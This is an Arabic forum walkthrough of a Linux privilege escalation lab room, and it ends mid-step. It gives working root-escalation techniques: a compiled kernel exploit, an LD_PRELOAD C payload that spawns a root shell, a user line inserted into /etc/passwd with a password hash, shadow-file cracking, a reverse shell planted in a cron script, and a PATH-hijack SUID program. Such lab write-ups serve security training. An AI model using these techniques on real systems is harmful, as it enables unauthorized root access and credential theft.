[ WalkTh ] تصعيد الصلاحيات على لينكس | Linux Privilege Escalation

الـ Privilege Escalation

7303ba648ef3f3f899a55c7b19195add.png

الـ Privilege escalation هي عبارة عن طريقة لزيادة صلاحياتك داخل نظام كمبيوتر معين, يعني مثلاً لو أنت مستخدم عادي وبدك توصل لصلاحيات المدير

الموضوع مش سهل ولا فيه حلول سريعة كل اشي بعتمد على إعدادات النظام اللي بتحاول تهاجمه يعني مثلاً إصدار الـ kernel والبرامج المثبتة ولغات البرمجة المدعومة وحتى كلمات السر للمستخدمين الآخرين كل هاد بأثر في الطريقة اللي بنستخدمها عشان نوصل لصلاحيات مدير النظام.

الـ Privilege Escalation
الموضوع ببساطة هو إنك تبدأ من حساب مستخدم عادي بصلاحيات قليلة وتوصل لحساب بصلاحيات أعلى.
تقنيًا هو استغلال لثغرة أمنية أو خطأ في التصميم أو إعداد خاطئ في نظام التشغيل أو التطبيق للوصول غير المصرح به للموارد التي عادة ما تكون مقيدة من المستخدمين.

ليش الـ Privilege Escalation مهم؟

من النادر جدًا في اختبار الاختراق في العالم الحقيقي أن تحصل على وصول مباشر للـ system administrator الـ Privilege Escalation , مهم جدًا لأنه بسمحلك تحصل على الـ system administrator في النظام.

بسمح لك بعمليات زي :
  • إعادة تعيين كلمات المرور
  • تجاوز ضوابط الوصول لاختراق البيانات المحمية
  • تعديل إعدادات البرمجيات
  • تفعيل الثبات ( persistence )
  • تغيير صلاحيات المستخدمين الحاليين (أو الجدد)
  • تنفيذ أي أمر إداري

راح نركز على النقاط التالية:

1. الـ
Enumeration وأدوات بتعمل Automated Enumeration
2. رفع الصلاحيات باستخدام الـ Kernel
3. رفع الصلاحيات باستخدام الـ Sudo
4. رفع الصلاحيات باستخدام الـ SUID
5. رفع الصلاحيات باستخدام الـ Capabilities
6. رفع الصلاحيات باستخدام الـ Cron Jobs
7. رفع الصلاحيات باستخدام الـ PATH
8. رفع الصلاحيات باستخدام الـ NFS
9. تحدي عملي لرفع الصلاحيات






الـ Enumeration وأدوات بتعمل Automated Enumeration

نسجل دخول عن طريق الـ ssh :-
الاسم : karen
الباس : Password1


لما نحصل على وصول إلى أي نظام معين الخطوة الأولى اللي لازم نعملها هي الـ Enumeration أي نحصر ونجمع كل المعلومات الممكنة حول هذا النظام ممكن يكون الك وصول إلى النظام عن طريق استغلال ثغرة أدت إلى الوصول إلى مستوى عالي ( root-level ) أو ممكن اكتشفت طريقة ترسل أوامر باستخدام حساب بـ صلاحيات منخفضة
بتميز اختبار الاختراق عن الـ CTF بأنه ما بنتهي بمجرد الوصول إلى نظام معين أو مستوى صلاحيات محدد للمستخدم , الـ Enumeration أمر مهم جداً خلال مرحلة ما بعد الاختراق تماماً كما هو مهم قبل الاختراق.

الـ hostname هو الأمر اللي برجعلك اسم الجهاز اللي متصل عليه وبالرغم إنه هالقيمة بتقدر تتغير بسهولة وتكون سلسلة معاني ( زي مثلاً Ubuntu-3487340239 ) بعض الأحيان ممكن تقدم معلومات عن النظام داخل الشبكة (مثلاً SQL-PROD-01 لجهاز خادم SQL للإنتاج).

الـ uname -a برجعلك معلومات عن النظام وبعطيك تفاصيل أكتر عن الـ kernel اللي بستخدمها النظام هاد بفيد لما تدور على ثغرات محتملة في الـ kernel اللي ممكن تساعدك ترفع صلاحياتك.

الـ proc filesystem بعطيك معلومات عن عمليات النظام بتقدر تلاقي proc في أنظمة لينكس كتيرة زي لما نشغل proc/version/ ممكن نشوف معلومات عن إصدار الـ kernel وبيانات إضافية زي إذا كان في مثلاً compiler مثل GCC مثبت فـ هو أداة ضرورية.

الـ etc/issue/ هاد الملف عادة بحتوي على بعض المعلومات عن نظام التشغيل بس بتغير بسهولة و أي ملف فيه معلومات عن النظام بتعدل أو بتغير.

الـ sudo -l بعرض للمستخدم قائمة بكل الأوامر التي يمكنه تشغيلها بصلاحيات مرتفعة (بمعنى أنه يمكن تشغيلها بصلاحيات الـ root ) باستخدام sudo دون الحاجة إلى توجيه الطلب مباشرة إلى المسؤول الرئيسي الـ root .

الـ ls أحد الأوامر الشائعة في لينكس هو الـ ls اللي بيساعدك تشوف محتوى المجلدات والملفات في النظام.

الـ id بعرضلك ملخص عن مستوى صلاحياتك بالنظام والمجموعات اللي أنت فيها.

الـ etc/passwd/ قراءة ملف etc/passwd/ بتكون طريقة سهلة لاكتشاف المستخدمين على النظام , الملف هاد بحتوي على معلومات عن المستخدمين مثل اسم المستخدم ورقمه والمجلد الرئيسي وغيرها.

الـ history بعرضلك الأوامر اللي استخدمتها قبل بالنظام وهاد ممكن يفيدك تعرف أيش اللي صار عالنظام قبل.

الـ ps Command (أمر ps) هذا الأمر يستخدم في نظام Linux لمراقبة العمليات الجارية , عند كتابة ps في نافذة الـ terminal بعرضلك العمليات الشغاله بالـ shell الحالي.
  • النتائج التي يعرضها الأمر تشمل :
    • الـ PID : رقم تعريفي فريد لكل عملية.
    • الـ TTY : نوع الـ terminal المستخدم.
    • الـ Time : كمية وقت وحدة المعالجة المركزية المستخدمة من قبل العملية.
    • الـ CMD : الأمر أو البرنامج الذي يتم تشغيله.

  • يوجد بعض الخيارات المفيدة مثل :
    • ps -A : لعرض جميع العمليات الجارية.
    • ps axjf : لعرض شجرة العمليات.
    • ps aux : يعرض العمليات لجميع المستخدمين مع معلومات إضافية مثل اسم المستخدم وعدم الانتماء إلى terminal .

الـ env Command (أمر env) يُستخدم لعرض المتغيرات البيئية في النظام , مثلًا متغير الـ PATH ممكن يحتوي على مسارات لبرامج محددة ممكن تفيد لتطوير أو لتشغيل البرامج.

تفاصيل إضافية :
  • يمكن استخدام معلومات العمليات المسترجعة من ps لمراقبة أداء النظام والكشف عن أي مشاكل.
  • يمكن استخدام بيانات العمليات لتحديد العمليات الخطيرة أو البرامج اللي ممكن تكون مشبوهة ممكن تساعدنا بتحسين أمان النظام وتحديد نقاط الضعف المحتملة.
باختصار الـ ps و env هما أدوات مُفيدة في نظام Linux لفهم ومراقبة العمليات الجارية والبيئة للنظام ويمكن استخدامهما لتحسين أمان النظام وتحديد المشاكل.

الـ ifconfig بتعطيك معلومات مفصلة حول واجهات الشبكة على النظام وبينها معلومات مهمة مثل عنوان الـ IP الخاص بالجهاز وعنوان الـ MAC وغيرها من المعلومات اللازمة لتوصيل الجهاز بالشبكة.

hcdZnwK.png

بالنسبة للنظام المستهدف اللي بالصورة بنلاحظ إنه بحتوي على ثلاث واجهات شبكة ( eth0 ، tun0 ، tun1 ) لكن الجهاز اللي بهاجم منه ممكن يكون قادر يوصل فقط لوحدة من هاي الواجهات وهي واجهة eth0 بشكل مباشر, أما بالنسبة للواجهات الثانيه ممكن تكون موجودة بشبكات ثانية غير متاحة مباشرة للوصول من الجهاز المهاجم.
ممكن نستخدم الأمر ip routre لمعرفة إذا كان الوصول متاح للواجهات الشبكية الأخرى غير eth0 من جهاز الهجوم وهاد بساعد بفهم البيئة الشبكية وتحديد إمكانية الوصول إلى أجهزة أخرى بالشبكة.

الـ netstat بتخليك تشوف كل شيء عن الإتصالات اللي بالنظام الخاص فيك.

يعني مثلاً لو بدك تشوف البورتات اللي فاتحة والإتصالات اللي معمولة تقدر تستخدم الأمر هاد 👇
كود:
netstat -a
وإذا بدك تشوف البورتات بس للإتصالات اللي بتستخدم بروتوكول الـ TCP بتستخدم الأمر هاد 👇
كود:
netstat -at
الـ UDP بتستخدم الأمر هاد 👇
كود:
netstat -au
لو بدك يعرضلك البورتات اللي جاهزة تستقبل اتصالات يعني فاتحة وهاد بنفع تستخدمه معه الأمر t عشان يعرضلك بورتات TCP اللي فاتحة
كود:
netstat -l
لو بدك يعرضلك إحصائيات استخدام الشبكة بروتوكول بروتوكول وهاد بنفع تستخدمه معاه t أو u عشان تقتصر على بروتوكول معين
كود:
netstat -s
لو بدك يعرضلك الإتصالات مع اسم الخدمة ورقم البروسيس بتستخدم الأمر هاد 👇 ( وبتقدر تستخدمه مع الأمر l عشان يعرضلك البورتات اللي جاهزة تستقبل اتصالات )
كود:
netstat -tp

JK7DNv0.png

وبنلاقي عمود اسمه PID/Program name فاضي عشان البروسيس هاد مملوك من قبل مستخدم تاني
بس لو استخدمت الأمر هاد بصلاحيات root بتلاقي العمود بعرضلك بيانات زي 2641/nc (netcat)

FjZHqlY.png

ولو بدك يعرضلك إحصائيات الـ interface بتستخدم الأمر هاد 👇
كود:
netstat -i

مثلًا بالمثال هاد بنلاقي إن eth0 و tun0 أكثر نشاط من tun1

r6IjpmZ.png
الاستخدام اللي يستخدم كثير في هو
كود:
netstat -ano
  • الـ a بعرضلك كل السوكيتات، يعني الإتصالات اللي يتم إنشاءها والبورتات الفاتحة
  • الـ n اللي بتعمله إنها ما تحول أسماء الهوستات تخليها ip يعني تعرضلك الـIP مباشرة بدل ما تحاول تجيب أسماء الأجهزة
  • الـ o بعرضلك معلومات عن السوكيتات زي الوقت اللي مرت عليها

الأمر find هو أمر أساسي جدًا في التصفح والبحث في النظام اللي بتشتغل عليه بساعدك تلاقي معلومات مهمة ممكن ما تكون بتقدر توصللها بسهولة
النماذج اللي تحت هي عبارة عن أمثلة على استخدام الأمر find :

الأمر هاد عشان نلاقي الملف اللي اسمه في المجلد اللي أنت فيه حاليًا:
كود:
find . -name flag1.txt

الأمر هاد عشان نلاقي الملف اللي اسمه flag1.txt في المجلد home/ :
كود:
find /home -name flag1.txt

الأمر هاد عشان نلاقي المجلد اللي اسمه config في كل النظام:
كود:
find / -type d -name config

الأمر هاد عشان نلاقي ملفات بصلاحيات 777 (ملفات قابلة للقراءة والكتابة والتنفيذ من قبل كل المستخدمين):
كود:
find / -type f -perm 0777

الأمر هاد عشان نلاقي ملفات تنفيذية ( executable ):
كود:
find / -perm a=x

الأمر هاد عشان نلاقي كل الملفات اللي مالكها فرانك في مجلد home/ :
كود:
find /home -user frank

الأمر هاد عشان نلاقي ملفات اللي تم تعديلها في الـ 10 أيام الأخيرة:
كود:
find / -mtime 10

الأمر هاد عشان نلاقي كل ملفات اللي تم الوصول إليها في الـ 10 أيام الأخيرة:
كود:
find / -atime 10

الأمر هاد عشان نلاقي الملفات اللي تم تغييرها في الساعة اللي فاتت (60 دقيقة):
كود:
find / -cmin -60

الأمر هاد عشان نلاقي الملفات اللي تم الوصول إليها في الساعة اللي فاتت (60 دقيقة):
كود:
find / -amin -60

الأمر هاد عشان نلاقي الملفات اللي حجمها 50 ميجا بايت:
كود:
find / -size 50M


يمكن استخدام الأمر هاد مع (+) و (-) عشان نحدد ملفات أكبر أو أصغر من الحجم المحدد

مثال
الامر هاد عشان نلاقي الملفات اللي حجمها اكبر من 100 ميجا بايت
كود:
find / -size +100M

ومهم جدًا تعرف أن الأمر بعطي أحيانًا أخطاء بتخلي الناتج صعب القراءة فـ من الأفضل استخدام الأمر مع
كود:
2>/dev/null
عشان نحول الأخطاء لـ dev/null/ ونحصل على نتيجة أنظف , يعني بطلعلك المجلدات والملفات اللي بتقدر تكتب فيها أو تشغلها :

الأوامر هاي عشان نلاقي المجلدات اللي بإمكاننا نكتب فيها
كود:
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

عشان نلاقي أدوات التطوير واللغات اللي مدعومة :
كود:
find / -name perl*
find / -name python*
find / -name gcc*

مثال قصير للبحث عن ملفات فيها بت SUID :
الـ SUID بتسمح للملف يشتغل بصلاحيات المستخدم اللي مالكه بدل من المستخدم اللي شغال البرنامج
هاد بفتح فرصة لزيادة الصلاحيات وراح نحكي لقدام عنها أكثر المثال هاد معروض عشان نكمل الكلام عن الأمر find

الأمر هاد عشان نلاقي الملفات اللي فيها بت SUID :
كود:
find / -perm -u=s -type f 2>/dev/null


وأيضًا أوامر لينكس العامة مُفيدة لعملية الـ Enumeration


أدوات الـ Automated Enumeration

أدوات الـ Automated Enumeration اللي بتساعدك توفر وقت في عملية الـ Enumeration الأدوات هاي لازم تستخدمها عشان توفر وقت بس خلي بالك إنها ممكن تفوت عليك نقاط تساعدك ترفع صلاحياتك.

نوع النظام اللي بتهاجمه هو اللي بيحدد أي أداة لازم تستخدمها , مثلًا لو ما كان عندك بايثون مثبت بالنظام اللي بتخترقه ما رح تقدر تشغل أداة مكتوبة بالبايثون لهيك الأفضل إنك تكون ملم بعدة أدوات بدل ما تعتمد على أداة وحدة.

الـ LinPeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

الـ LinEnum
https://github.com/rebootuser/LinEnum

الـ LES (Linux Exploit Suggester)
https://github.com/mzet-/linux-exploit-suggester

الـ Linux Smart Enumeration
https://github.com/diego-treitos/linux-smart-enumeration

الـ Linux Priv Checker
https://github.com/linted/linuxprivchecker








رفع الصلاحيات باستخدام الـ Kernel

نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة:
اسم المستخدم : karen
الباسورد : Password1

الفكرة إننا نلاقي ثغرة في النظام ونستغلها عشان نوصل لـ صلاحيات أعلى

بنقدر نوصل لـ صلاحيات أعلى عن طريق :
  1. أننا نستخدم ثغرة موجودة
  2. أننا ندخل على حساب مستخدم ثاني فيه صلاحيات أعلى

الـ kernal هو اللي بدير التواصل بين الأشياء زي الذاكرة في الجهاز والبرامج لكن لازم الـ kernal هاد يكون عنده صلاحيات معينة فلو اكتشفنا ثغرة فيه واستغليناها ممكن نوصل لـ صلاحيات الـ root

الفكره بسيطه بس نعرف إصدار ( نسخة الـ kernal ) وبعدها بندور على كود لثغرة متوافق مع النسخة هاي , بس اكيد ممكن الثغرة تؤدي لتعطل النظام فتأكدوا إنكم مستعدين للمخاطرة هاي قبل ما تحاولوا تنفذوا أي ثغرة.

للبحث عن كود لثغرات ممكن نستخدم جوجل أو مواقع زي
https://www.linuxkernelcves.com/cves

وممكن كمان تستخدم LES ( Linux Exploit Suggester ) أكيد في إحتمالية إنه يعطيكم نتائج خاطئة يعني يعطيك ثغرة وهمية أو ما يعطيك أي ثغرات بالرغم إن الـ kernal فيه ثغرات

نصائح:
  • تأكد من تحديد إصدار الـ kernal بدقة عند البحث عن ثغرات
  • تأكد من فهم كيفية عمل الثغرة قبل تنفيذها
  • قد تتطلب بعض الثغرات تفاعل إضافي بعد تشغيلها اقرأ كل التعليقات والتعليمات المرفقة مع كود الثغرة
  • بتقدر تنقل كود الثغرة من جهازك للجهاز المستهدف باستخدام SimpleHTTPServer Python module و wget

السؤال:
( الحل عن طريق الأمر نعرف الإصدار ( uname -a ) )


ثم نجد الـ CVE-2015-1328 ونجد بالموقع

الكود :
بنفتح بايثون سيرفر عشان ننقل الملف على اللينكس اللي سجلناله عن طريق الـ ssh قبل عن طريق الأمر:
كود:
python3 -m http.server

بعدها بنكتب wget والـ ip زي اللي بالصورة عشان ننقل الملف على لينكس , بعدها بنحول الملف من c عشان نقدر ننفذه على لينكس عن طريق الأمر:

كود:
gcc CVE-2015-1328.c -o output

بعدها بنشغل الملف وهيك بنكون رفعنا صلاحياتنا وصرنا root



رفع الصلاحيات باستخدام الـ Sudo

نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة :
اسم المستخدم : karen
الباسورد : Password1

الـ sudo هو أمر بسمحلك تشغل البرامج بصلاحية الـ root , لكن ببعض الأحيان بحتاج مسؤولين النظام إنهم يعطوا مستخدمين شوية مرونة بـ صلاحياتهم, مثلًا مُحلل أمن مبتدئ بحتاج يستخدم Nmap بانتظام بهاي الحالة بإمكان مسؤول النظام يسمح لهاد المستخدم بتشغيل Nmap فقط بصلاحيات الـ روت مع الإحتفاظ بمستوى الصلاحيات العادي اللي معاه بباقي النظام

أي مستخدم بإمكانه يتحقق من وضعه الحالي اللي بتعلق بصلاحيات الـ root باستخدام الأمر sudo -l
موقع: https://gtfobins.github.io
هو موقع رهيب بقدم معلومات عن كيفية استخدام أي برنامج بمتلك صلاحيات sudo عليه

بعض التطبيقات ممكن ما يكون فيها ثغرات معروفه مثل خادم Apache2 , بهاي الحالة ممكن نستخدم ثغرة لتسريب المعلومات باستغلال وظيفة معينة في التطبيق

بالمثال هون عنا الـ Apache2 فيها خيار بدعم تحميل ملفات ممكن نستخدم الأمر f- عشان نحدد ملف


بعض الأنظمة لما نستخدم الامر sudo -l ممكن نشوف فيها خيار اسمه LD_PRELOAD وهي وظيفة بتسمح لأي برنامج يستخدم مكتبات
وفي عنا الـ env_keep إذا كان الخيار مفعل ممكن ننشئ مكتبة مُشتركة يتم تحميلها وتنفيذها قبل تشغيل البرنامج لكن لازم نعرف عن خيار LD_PRELOAD إنه بتجاهل إذا كانت الهوية الحقيقية للمستخدم مختلفة عن الهوية الفعلية اللي إله

gGstS69.png

الخطوات هون لرفع الصلاحيات بنقدر نلخصها كالتالي :
بنتحقق من LD_PRELOAD ( بخيار env_keep ) بنكتب كود C بسيط وبنحوله لملف امتداده so. وبنشغل البرنامج بصلاحيات sudo وبخيار LD_PRELOAD وحدد الملف الـ so.

الكود C هيكون ببساطة عبارة عن الآتي :

كود:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

ممكن نحفظ الكود هاد باسم shell.c وبنحوله عن طريق الـ gcc إلى ملف امتداده so.

كود:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

ممكن نستخدم الملف هاد عشان نرفع صلاحياتنا على النظام , بنشغله وبنحط معاه sudo



لازم نرفع صلاحياتنا عشان نجاوب على السؤال الرابع
وحده من الثلاث أشياء التي نستطيع تشغيلها هي nano


نذهب الى موقع

ونبحث عن nano ونذهب لقسم الـ sudo

نطبق ما هو مكتوب






رفع الصلاحيات باستخدام الـ SUID

نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة:
اسم المستخدم : karen
الباسورد : Password1

الـ SUID اللي هو Set-user Identification
الـ SGID اللي هو Set-group Identification
هدول بخلوا الملفات تتنفذ بصلاحيات مالك الملف أو مجموعته

وبنلاحظ أن الملفات هاي عندها بت s فوق (هاي معناها إنه فيها صلاحيات خاصة)

عشان نعرف الملفات اللي عندها هاي الأذونات بنكتب الأمر التالي:
كود:
find / -type f -perm -04000 -ls 2>/dev/null

وهو بعرضلك قائمة بالملفات اللي عندها SUID أو SGID

fJEeZ4m.png


القائمة اللي بنشوفها هنا بتبين إن الملف nano عنده SUID
وفي حركة حلوة بتقدر تعملها إنك تقارن الملفات اللي طلعت في القائمة هاي مع الموقع اللي سبق وحكينا عنه GTFOBins (من هون : https://gtfobins.github.io) وبتضغط على زر SUID هيك بتفلتر الملفات اللي فيها ثغرات معروفة لما تكون SUID مفعلة


لما يكون الـ SUID للـ nano مفعلة بتخلينا نقدر نعمل ونعدل ونقرأ الملفات باستخدام صلاحيات صاحب الملف نفسه
وإذا كان صاحب الملف هو root يعني احتمال كبير إننا نقدر نقرأ ونعدل ملفات على مستوى صلاحيات أعلى من صلاحيات المستخدم اللي احنا فيه حاليًا

بهاي الخطوه عنا خيارين عشان نرفع صلاحياتنا : إما نقرأ ملف etc/shadow/ أو نضيف مستخدم جديد لملف etc/passwd/

وراح نحل على الطريقتين
نقرأ ملف etc/shadow/
بنكتب الأمر هاد:
كود:
nano /etc/shadow
بظهرلنا محتويات ملف etc/shadow/ وبعدين بنقدر نستخدم أداة اسمها unshadow عشان نعمل ملف نقدر عن طريقه نجيب كلمات السر الخاصة بالمستخدمين عن طريق أداة John the Ripper ( نكسر الهاش )
عشان نقدر نستخدم هاي الأداة لازم يكون عنا ملفين etc/shadow/ و etc/passwd/

باستخدام الأداة unshadow
كود:
unshadow passwd.txt shadow.txt > passwords.txt

بعدها عن طريق john بنقدر نعرف الباسوورد أو أكثر من باسورد للمستخدمين
الروم هاي بتفيدكم عشان تتعرفوا على الأداة بشكل أكبر
https://tryhackme.com/room/johntheripper0

نضيف مستخدم جديد لملف etc/passwd/

أولًا
علمًا أن معنى الأمر هو :
الـ passwd هذا الجزء من الأمر يعني أننا بدنا ننشئ كلمة مرور مشفرة.
الـ 1- هذا الخيار يحدد استخدام خوارزمية التشفير MD5
الـ salt abood- هذا الخيار يحدد قيمة الملح (salt) التي تُضاف إلى كلمة المرور قبل تشفيرها، حيث abood هو قيمة الملح التي تم تحديدها هنا.
الـ pass1 هاي هي كلمة المرور اللي بدك تشفرها

بنضيف هذا السطر على ملف passwd , علمًا أن كلمه السر للحساب اللي اسمه abood هي pass1
كود:
abood:$1$abood$b8GqxlLtummao0MjRxmoA1:0:0:root:/root:/bin/bash
لما نضيف المستخدم (علماً بأننا استخدمنا root:/bin/bash علشان نعطي الشل بصلاحيات root ) بنحتاج نحول للمستخدم هاد وهيك بنكون حصلنا على صلاحيات root

بعدها بنضيف كلمة السر هاي واسم المستخدم لملف etc/passwd/
من هو المستخدم الذي يشارك اسم كاتب كتاب الـ great comic؟



ما هي كلمة المرور للمستخدم 2؟
أولًا عن طريق الأمر:
كود:
cat /etc/passwd

نأخذ الناتج ونخزنه على جهازنا الأساسي بملف اسمه passwd.txt


ثانيًا عن طريق الأمر
ملاحظه عند محاوله كتابه الأمر
كود:
cat /etc/shadow
يعطيك ليس لديك صلاحية , كما بالصورة:

لكن عند استخدام الأمر التالي:
كود:
find / -type f -perm -04000 -ls 2>/dev/null
اللي سبق وحكينا عنه " وهو بعرضلك قائمة بالملفات اللي عندها SUID أو SGID "


بنلاقي الـ bas64 لذلك بنعرض اللي بداخل الملف shadow عن طريق الأمر


نأخذ الناتج ونخزنه على جهازنا الأساسي بملف اسمه shadow.txt

بعدها زي ما حكينا قبل باستخدام الأداة unshadow
كود:
unshadow passwd.txt shadow.txt > passwords.txt

بعدها عن طريق john بنقدر نعرف الباسوورد أو أكثر من باسورد للمستخدمين

بعدها نأخذ قيمه الهاش ونضعها بملف للمستخدم المطلوب معرفة كلمة السر الخاصة فيه عن طريق john أو hashcat





رفع الصلاحيات باستخدام الـ Capabilities

نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة:
اسم المستخدم : karen
الباسورد : Password1

الـ Capabilities بتساعد على إدارة الصلاحيات بشكل دقيق أكثر , مثلًا إذا احتاج محلل SOC إلى استخدام أداة تحتاج إلى بدء اتصالات socket المستخدم العادي ما بقدر يعمل هيك لو ما معه صلاحيات عالية.

إذا قدرنا نعدل على الـ Capabilities
هي أسلوب ثاني لمسؤولي النظام بإمكانهم استخدامه لرفع مستوى الصلاحيات لبرنامج أو عملية معينة ( بغير بالبرنامج )

باختصار البرنامج بعمل شغله دون ما يحتاج مستخدم بصلاحيات عالية
بنقدر نستخدم أداة getcap عشان نشوف الـ Capabilities المفعلة عن طريق الأمر التالي:
كود:
getcap -r / 2>/dev/null


لو شغلت الأداة بحساب مستخدم عادي بطلعلك كثير أخطاء فـ الأفضل تحول رسائل الخطأ هاي لملف dev/null/




بنبحث بموقع GTFOBins عن الـ vim وبنحدد بدنا نقرأ ملف بنلاقي ( أمر عادي بـ لينكس )




رفع الصلاحيات باستخدام الـ Cron Jobs

نسجل دخول عن طريق الـ ssh بالمعلومات المُعطاة:
اسم المستخدم : karen
الباسورد : Password1

الـ Cron jobs هي عبارة عن مهام بتتنفذ بأوقات محددة زي ممكن تكون بتشغل سكريبتات أو برامج فـ بشكل افتراضي بتشتغل بصلاحيات المالك الأصلي مش بصلاحيات المستخدم الحالي اللي مسجل على النظام.

الـ Cron jobs مش مشكلة بحد ذاتها لكن ببعض الحالات ممكن تكون مصدر لاختراق الصلاحيات

الفكرة بسيطة لو فيه مهمة مجدولة بتشتغل بصلاحيات الـ root واحنا قادرين نغير السكربت اللي بتنفذ هيك بشتغل السكريبت بصلاحيات الـ root

إعدادات الـ Cron jobs بتتخزن بملفات crontab عشان نشوف المواعيد اللي بتتنفذ فيها المهام

كل مستخدم على النظام بكون عنده ملف crontab خاص فيه وبقدر يشغل مهام معينة سواء كان مسجل على النظام أو لا, الهدف نلاقي مهمة Cron job مسجلة من قبل الـ root ونخليها تشغل السكريبت اللي احنا بدنا إياه , أفضل شيء ممكن نحطه هو shell

أي مستخدم ممكن يقرأ الملف اللي بنحفظ بالمهام الخاصة بالنظام بـ etc/crontab/

بالـ CTF machines بتكون فيها مهام Cron بتشتغل كل دقيقة أو كل 5 دقايق بس بالعادة بنشوف المهام اللي بتشتغل يوميًا أو أسبوعيًا أو شهريًا في اختبارات اختراق الأنظمة.


بنقدر نشوف إن السكريبت backup.sh مُعدل عليه عشان يشتغل كل دقيقة, محتوى الملف ببين سكريبت بسيط بعمل نسخة إحتياطية من ملف prices.xls


وطبعًا واحنا كمستخدم حالياً قادرين نوصل للسكريبت هاد وطبعًا ممكن نعدل عليه بسهولة ونحط فيه reverse shell مع الأمل إننا نصبح بصلاحيات الـ root

السكربت بستخدم الأدوات الموجودة على النظام المستهدف عشان يشغل الـ reverse shell

نقطتين لازم نلاحظهم:
طريقة كتابة الأوامر بتختلف اعتمادًا على الأدوات المتوفرة , مثلاً أداة nc ممكن ما تدعم الخيار e- اللي شفناه مستخدم بحالات ثانية الأفضل نستخدم reverse shell عشان ما نعرض سلامة النظام للخطر في اختبار الاختراق الحقيقي

الملف بكون بهاد الشكل


وبنشغل ليسنر على جهازنا عشان نستقبل الإتصال


دايمًا يستحق التحقق من الـ Cron tab عشان ممكن يكون فيها فرص سهلة لرفع الصلاحيات

سيناريو ممكن يصير لشركه غير متطلعه على الحماية منيح , مديري النظام بحتاجوا يشغلوا سكريبت معين بشكل منتظم
بعملوا Cron job عشان ينفذوا السكريبت هاد , بعد فترة ما بحتاجو السكريبت هاد وبحذفوه بس ما بنمسح الـ cron job اللي عملوه قبل
فـ نفكر شوي ... مشكلة فعلاً


مثال:
المثال هاد بوضح موقف شبيه حيث تم حذف سكريبت antivirus.sh بس الـ cron job لسه موجودة , لو المسار الكامل للسكريبت مش محدد ( زي ما تم عمله للسكريبت backup.sh )


الـ cron بشوف الـ PATH اللي موجودة بـ etc/crontab/ بالحالة هاي بنكون قادرين نعمل سكريبت باسم antivirus.sh بمجلد اليوزر الخاص فينا والـ cron job بشغله

الملف على النظام المستهدف بنعمله على هاد الشكل ( revers-shell )


اتصال الـ reverse shell الجاية بصلاحيات الـ root
نادر إنك تلاقي سكريبت موجود أو مهمة مرتبطة بـ cron job دايماً بستحق الوقت إللي بتستغرقه عشان تفهم وظيفة السكريبت وكيفية استخدام أي أداة في سياق السكريبت , مثلًا أدوات زي tar، 7z، rsync ممكن تستغل باستخدام خاصية الـ wildcard الخاصه فيها


كيفية حله 👇

وما ننسى نعدل نخليه هيك :

بنعدل اللي داخل الملف لـ

مشاهدة المرفق 9766


بنشغل الليسنر

مشاهدة المرفق 9762
بعدها بنرفع صلاحيات الملف عن طريق الأمر
كود:
chmod+x backup.sh

وبنستنا شوي

بنبحث عن الفلاق عن طريق الأمر:
كود:
find / -name flag5.txt 2>/dev/null



عن طريق الأمر التالي بظهر الهاش للباسورد للمستخدمين
كود:
cat /etc/shadow
وبظهر تحت

مشاهدة المرفق 9811

بنوخذ الهاش وبنحطه بملف

مشاهدة المرفق 9812

بعدها عن طريق john بنقدر نكسر الهاش

مشاهدة المرفق 9813




رفع الصلاحيات باستخدام الـ PATH


نسجل دخول عن طريق الـ ssh بالمعلومات المُعطاة :
اسم المستخدم : karen
الباسورد : Password1

إذا كان فيه مجلد عندك وأنت عندك صلاحية كتابة فيه ممكن تتلاعب بالتطبيقات وتشغل سكربتات بـ لينكس في شيء اسمه PATH هاد بعرف النظام وين يدور على البرامج القابلة للتشغيل
يعني لو كتبت أمر بالتيرمينال مش مدرج بالشل أو مكتوب بالمكان الكامل النظام ببلش يدور في بمجلدات اللي بالـ PATH

عادةً الـ PATH بكون شكلها هيك :

ch2Z4zp.png

إذا كتبنا thm بالتيرمينال النظام بدور بالمجلدات هاي عشان يلاقي ملف اسمه thm السيناريو اللي تحت راح يوضحلك أكتر كيف ممكن نستخدم الموضوع هاد عشان نرقي صلاحياتنا
بس هاد كله بعتمد على إعدادات النظام المستهدف فـ تأكد إنك بتقدر تجاوب على الأسئلة اللي تحت قبل ماتجرب
  1. ما هي المجلدات الموجودة ضمن الـ PATH$ ؟
  2. المستخدم الحالي عنده صلاحيات كتابة في أي من هاي المجلدات ؟
  3. هل بنقدر نعدل بالـ PATH$ ؟
  4. فيه سكربت أو برنامج بتقدر تشغله ويتأثر بالثغرة هاي ؟

عشان نعرض الثغرة بنستخدم السكربت هاد :
C:
#include<unistd.h>
void main ()
{
    setuid (0);
    setgid (0);
    system("thm");
}

السكربت هاد بحاول يشغل ملف نظام اسمه thm بس هاد ممكن تعمله بأي ملف نظام آخر
بنجمع السكربت هاد بملف قابل للتشغيل
كود:
gcc file.c -o file -w

وبنضيفله SUID bit
chmod u+s file

المستخدم حاليًا عنده وصول للسكربت PATH و SUID bit مضاف له , لما يتم تنفيذ السكربت PATH ببحث عن ملف قابل للتشغيل اسمه thm بالمجلدات المدرجة تحت PATH
إذا كان أي مجلد قابل للكتابة موجود تحت PATH ممكن ننشئ ملف نظام اسمه thm بالمجلد هاد وبنخلي السكربت PATH يشغله

البحث عن مجلدات قابلة للكتابة بسيط جدًا باستخدام الأمر التالي:
كود:
find / -writable 2>/dev/null
نتيجة هذا الأمر يمكن تنظيفها باستخدام تسلسل بسيط من القص والترتيب , يمكن تشغيل البحث عن مجلدات القابلة للكتابة لتشمل المجلدات الفرعية
ويمكن استخدام الأمر التالي كبديل:
كود:
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
أضفنا grep -v proc للتخلص من النتائج الكثيرة المتعلقة بعمليات التشغيل

Y3pDsrL.png

للأسف المجلدات الفرعية داخل الـ usr/ غير قابلة للكتابة , المجلد اللي بكون من الأسهل الكتابة فيه هو على الأرجح tmp/
لكن لانه الـ tmp/ مش موجود بالـ PATH بنضيفه عن طريق الأمر:
كود:
